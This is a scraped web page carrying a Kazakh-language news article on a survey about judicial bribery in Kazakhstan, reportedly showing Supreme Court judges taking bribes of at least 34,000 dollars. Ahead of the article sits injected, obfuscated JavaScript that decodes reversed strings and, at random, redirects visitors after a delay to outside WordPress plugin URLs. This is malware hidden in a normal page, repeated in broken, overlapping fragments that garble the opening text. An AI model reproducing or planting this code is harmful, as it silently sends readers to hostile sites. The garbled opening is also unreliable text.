$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tories/38.jpg» width=»198″ height=»144″ />Әлеуметтанушылар осы сауалға жауап іздеді. Мұндай ақпаратты КТК арнасы таратып отыр.
Ең жоғары құн Жоғарғы сотта екен. Зерттеу нәтижелері олардың орта есеппен 34 мың доллардан кем алмайтынын көрсетіп отыр. Ал, аудандық соттың судьялары 7 мың долларды місе тұтады.
Мұндай жанжал тудыратындай қорытындыны әлеуметшілер республиканың ірі қалаларында жүргізген сауаланаманың қорытындысында шығарып отыр. Сауалнамаға қатысқан респонденттердің ішінде қарапайым халық қана емес, кәсіпкерлермен қатар прокуратура және сот қызметкерлері, сондай-ақ тәртіп сақтаушылар мен адвокаттар да бар. Олардың басым бөлігі судьялар шешімді өздері қабылдамайды және кәсіби ар намыс Кодексі туралы ұмытып кетеді деген пікірді ұстанады.
Параның қатарында ақшадан басқа қымбат сыйлықтар мен көрсетілген қызмет үшін мансап баспалдағымен көтерілу де бар.
Бұл нәтижелерді әлеуметтенушылар билік партиясының сыбайластықпен күрес Кеңесінің республикалық отырысында мәлім етті. Партия өкілдері судьялардың қызметін қоғамдық бақылауды осы жылдың көктемінде нысанаға алған болатын.Осы орайда сот төрешілері өтірік айтып тұр ма, жоқ па осыны анықтау үшін арнайы құрылғы қызметіне жүгіну керек деген ұсыныстар да айтылған. Мұндай сенімсіздіктің тууына Жоғарғы соттағы 6 бірдей судьяның үстінен қозғалған сыбайластық сипаты бар қылмыстық іс себеп болды.
«Сұраққа жауап бергендердің сексен бір пайызы сот шешімін айналып өтудің амалдары бар деп көрсетсе жеті пайызы мұндай шешімдер кей жағдайда бұрмаланады немесе орындалмайды дегенді айтады. Сауалнамаға қатысушылардың алпыс үш пайызы сыбайластық бұрынғы қалпында тұр, тіпті өршіп бара жатқаны байқалады деген пікірде. Бұл сыбайластыққа қарсы күрестің мемлекеттік дәрежеде жүргізу тиімділігінің өз дәрежесінде емес екенін көрсетеді»,- дейді ҚР-сы саясаттанушылар мен әлеуметтанушылар Қауымдастығының атқарушы директоры Бахытжамал Бектұрғанова. Толығырақ: http://news.mail.ru/inworld/kazakhstan/society/6829158/{jcomments on}
Leave a Reply